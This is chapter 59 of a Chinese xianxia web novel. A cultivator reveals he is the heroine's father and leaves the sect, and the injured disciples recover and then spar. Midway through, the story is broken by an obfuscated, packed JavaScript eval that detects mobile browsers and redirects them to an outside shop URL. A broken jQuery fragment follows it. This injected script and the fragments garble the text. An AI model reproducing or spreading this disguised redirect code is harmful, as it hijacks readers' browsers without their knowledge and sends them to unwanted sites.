59. 059养伤后续

作品:《我就驱个邪,怎么成救世主了

    江瑟看着眼前这个时不时笑一声,神情疯癫的前辈,心里越发不安。


    所以,他到底跟她妈妈什么关系啊!应该不是有仇吧!那她现在走还来得及不?


    “谢师叔……”江瑟往后缩了缩,小心翼翼地喊了一声,“你认识我妈妈?你跟她什么关系啊?”


    拜托,千万不要说是仇人!她伤势未愈,在这种大佬的手下一点逃跑的机会都没有!


    “……江瑟,其实,我……我是你爸爸!”


    啊?!他说啥?


    爸……爸爸?


    她肯定是幻听了,要不然就是伤到脑子了,再不济就是还没睡醒。


    “二十六年前,我……我跟你妈妈在一起,我们……总之,我是你爸爸。”


    提起从前,谢东君有些说不下去,难道要说他单方面谈婚论嫁,然后江心月狠心拒绝,不仅带球跑了,还断绝了他们之间的所有联系吗?


    他说不出口啊!


    想当年,他风华正茂,玉树临风,天之骄子,在外怎么都拿得出手,在内也事事都以江心月为主,怎么都是一个二十四孝好老公的预备役。


    为什么江心月在睡了他之后,突然就不要他了呢?


    他想不明白,闭关二十六年了,他都没想明白。


    分手之后,谢东君既不敢去打扰江心月,又忘不了她,只眼巴巴地等着哪天她回心转意了,愿意来上清门找他,他们就可以再续前缘了。


    哪曾想,她怎么……怎么在二十五年前就不在了呢?


    看着眼前跟江心月至少七分相似的女儿,他又忍不住想哭了。


    原来不是江心月不来找他,是她已经来不了了……


    “诶!谢师叔,你……你别哭啊!”


    谢东君突如其来的哭泣,让还没重修躺下去的江瑟又弹了起来,她脑中一片嗡嗡作响,无措地伸出手悬在半空中。


    不怕撒泼打滚哀嚎的,就怕这种仰头无声流泪的。


    该死的,这种上了年纪的男人到底该怎么哄啊?她业务不太熟练。


    说他们熟吧,他们这才第一次见,说他们不熟吧,他说他是她爸。


    眼看着江瑟要下床,谢东君抬手用袖子抹了一把眼泪,强行把她摁了回去:“躺着!”


    “你伤得不轻,虽然我已经给你疗过伤,但最好还是静卧一两日。”


    虽然确信江瑟是自己的女儿,但谢东君并不强求她喊自己爸爸,毕竟只是血缘上的关系,他们之间还没有感情基础,喊不出口实在正常。


    两人四目相对,江瑟总觉得有一些淡淡的尴尬在弥漫。


    “那个……要不我回去躺着?”


    谢东君摇了摇头,抹掉眼泪突然站了起来:“你就在这躺着,我出去。”


    啊?


    在江瑟震惊的眼神中,谢东君强行给江怀开机:“这是我女儿,好好替为师照顾她,我有要事要离宗下山一趟。”


    可怜才虚弱地醒过来的江怀,还没看清楚面前的人是谁,就被一句没头没脑的话砸了下来。


    他没来得及思考这句话的意思,便条件反射地回道:“是,师父,弟子保证完成任务。”


    闻言,谢东君满意地颔首,然后一阵风似的掠出了房门。


    江瑟既然是上清门的弟子,宗卷里肯定记载了她的家庭地址,那他就可以找到江心月的埋骨之处。


    如此一来,他就能借此找到江心月的魂魄所在,不管她是已经重新投胎了,还是魂归地府,他都要去找她!


    谢东君走得火急火燎,留下房间里的两个人大眼瞪小眼,一阵无话。


    “你……”


    “你……”


    两人同时开口,江瑟摸了摸鼻子,示意江怀:“你先说。”


    江怀依旧迷迷瞪瞪的,梦游一样从地上爬了起来,捧着桌子上的茶壶倒了杯水一口灌下,才找回了自己的声音。


    “我师父刚才说什么?你是他女儿?真的假的?”


    江瑟有些窘迫,双手在胸前交叉:“我也不知道,你别问我。”


    江怀一本正经地点头:“行吧,反正师父说什么就是什么,我会好好照顾你的。”


    江瑟怀疑地看了他一眼,她好像比他恢复得要快些吧?到底是谁照顾谁还不一定呢。


    “你……还是先躺一会儿吧。”


    看江怀一脸惨白的样子,说话都费力,她都不好意思赖在床上了。


    看到江瑟要下床让位置,江怀赶紧拒绝,然后熟门熟路地从角落里拉出了一张行军床,身子跟风中落叶一样颤抖着将床铺开躺好,看他的熟练度就知道没少干这事。


    两张床并排放在房间的最左边和最右边,才进院门的陈鹤白跟着许卓尔和余烟往里走,进门前现在门口扫视了一圈,就看着两个惨兮兮地躺在床上的人。


    他莫不是进了医院的病房,嗯……就差挂个吊瓶了。


    “小师叔!”


    许卓尔一进来,就激动地往江瑟床边扑,还没靠近便被陈鹤白一把拉住了。


    “师妹你悠着点儿,小师叔还有伤呢。”


    “知道啦!”许卓尔乖巧地应了声,动作马上放轻了些,靠在江瑟的耳边开始嘀嘀咕咕,“小师叔你不知道,我们几个都在外面等了好久了,谢师祖不发话我们都不敢进来,你现在怎么样了呀?”


    江瑟还没开口,就听得一声阴恻恻的声音在她背后响起:“许卓尔,你要不转头看看我呢?我好像更严重吧?你怎么都不问我!”


    许卓尔扭头看向身后的角落,进门右手边的角落里摆了一张窄窄的行军床,江怀正微微抬起头一脸幽怨。


    “哎呀!江师叔,不好意思我真没看见你,那你好点了吗?”


    许卓尔性子急,一进房间就将陈鹤白他们甩在了身后,第一个冲了过去,她只看到了靠窗那边的江瑟,根本没注意到角落里还有人。


    “你看我的样子,像好点了吗!”


    许卓尔有些纠结地看了江瑟一眼:“那要不……我顺带照顾你?”


    她本来是赶过来想照顾小师叔的,可江师叔……好像也挺惨的。


    江怀一听,身子当即抖得更厉害了:“别别别,我还是自己照顾自己吧,江瑟也由我来照顾,你自己该干嘛干嘛去!”


    就许卓尔那坑货,让她照顾人,别照顾得更严重了。


    想到小时候有一回炼丹炸炉后,许卓尔照顾自己的那些日子,江怀忍不住又是一个寒颤。


    造孽啊!连上个药都能上错,害得他伤口整整痛了一晚上。


    “江怀!”


    这下子,许卓尔连师叔也不喊了,磨着牙就要扑过去给他点颜色看看。


    陈鹤白头痛不已,提着许卓尔的衣领后旁边一带:“师妹,咱大人有大量,不气啊!受伤的人得吃点补身体的,要不你负责每天去食堂给他们开小灶?我们这里就你跟负责食堂的何师姐关系最好了。”


    开玩笑,许卓尔的那些光荣事迹,带着她长大的陈鹤白也是知道的,他可不敢让许卓尔照顾人,当即找了个不伤害师妹自尊心的由头,给她安排了其他事情做。


    反正食堂那边他早就打点好了,许卓尔只需要每天把饭菜和补品端过来,这么简单,肯定不会出纰漏的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418711|192696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    余烟刚给江瑟喂完水,听到陈鹤白的话,结合江怀的抗拒,这时也猜到了他的言下之意。


    眼皮子眨了眨,便顺着陈鹤白的话助攻了一句:“卓尔,我觉得陈道友说得不错,补品的事情只有你办得好,至于江瑟他们这边,我顾着点就行了。”


    “放心,包在我身上!”许卓尔忍不住挺了挺胸膛,嘴角的笑压都压不住,她现在觉得自己的存在简直太重要了,“那只能麻烦你多辛苦一下了,我现在就去食堂。”


    说完,就真的风风火火地走了。


    等许卓尔走得远了,江怀一直僵硬着的身体才放松下来,重重一呼:“总算走了,我真怕她要强行照顾我们。”


    他皮糙肉厚,磕磕碰碰的没关系,但江瑟可不能出问题,不然他怎么对得起师父的信任。


    其余三人看到他这幅后怕的样子,又想到单纯好忽悠的许卓尔,再也忍不住笑了起来。


    好在许卓尔这次没有出任何纰漏,没了她的帮倒忙,和余烟的悉心照料,没过两天,江瑟和江怀就能下床活动,也能自行打坐修复了。


    谢东君果然已经不在宗门里,王天全在此期间也只现身了一次,就又忙不迭地去处理事情了。


    自家师父这幅严肃正经的模样,江瑟也很少见过,想到那天比试台上的堕仙,她心里不禁生出一种不好的预感。


    山雨欲来啊……


    但这事情本就不是他们这种低阶修士能管的,师父既然不说,宗门里也没有一点风声,那便说明三大派暂时不想让弟子们知道。


    江瑟也只能将事情压在心底,连日日相伴的余烟都没有透露。


    等伤势略略好转,能够打坐修炼之后,江瑟又开始了一边养伤,一边拼命修行的日子,这一次除了余烟这个修炼搭子以外,还多了个江怀日日过来打卡。


    三个修炼狂魔每天话都说不上几句,各自占据一块蒲团,除了嗑辟谷丹之外就跟打坐的神像似的一动不动。


    许卓尔跟着他们修炼了几次,就扛不住了,满脸菜色地说要出去缓缓。


    由于受伤的原因,江瑟缺席了最后一场剑术比试,她自己是在拜师王天全之后才系统地修习剑术,也没跟人切磋过,因而也不知道自己的水平到底如何。


    但江怀是年轻一代弟子里的天才人物,综合实力很强,几乎门门都独领风骚。比如这一次的法诀比试,经过评委们的分析之后,江怀就再次获得了第一名。


    当然,他的天赋必然是排除了炼丹的。


    这么好的陪练,不用白不用,在彻底恢复之后,江瑟忍不住向江怀发起了挑战请求。


    江怀却一脸纠结:“你确定要跟我打?我出手很重的。”


    要是打坏了,师父回来不会扒了自己的皮吧?


    江瑟握紧剑柄,决然地点了点头:“不用留情,你出手吧。”


    两人最后说好,不用灵气,单单只用木剑使比试剑招,江怀这才勉强同意了。


    果不其然,江怀无愧上清门天骄之名,剑一入手,他整个人的气质就变了。


    锋锐,凌厉,就像一柄寒光凛冽的剑一样,战意十足,势不可挡。


    没有丝毫意外,在江瑟用尽全力的情况下,也仅仅在他手里坚持了二十七招。


    木剑堪堪停留在江瑟的眉心之前半寸,惊人的剑气却将她的脸上震出了几条细细的口子,虽然没有流血,却也泛起了红。


    江怀赶紧将剑扔下,一张天生冷漠的脸上,眼睛里却满是憨憨的讪笑之意,可他还没走到江瑟身边,就听得身后一声怒吼响起。


    “臭小子!你在干什么!”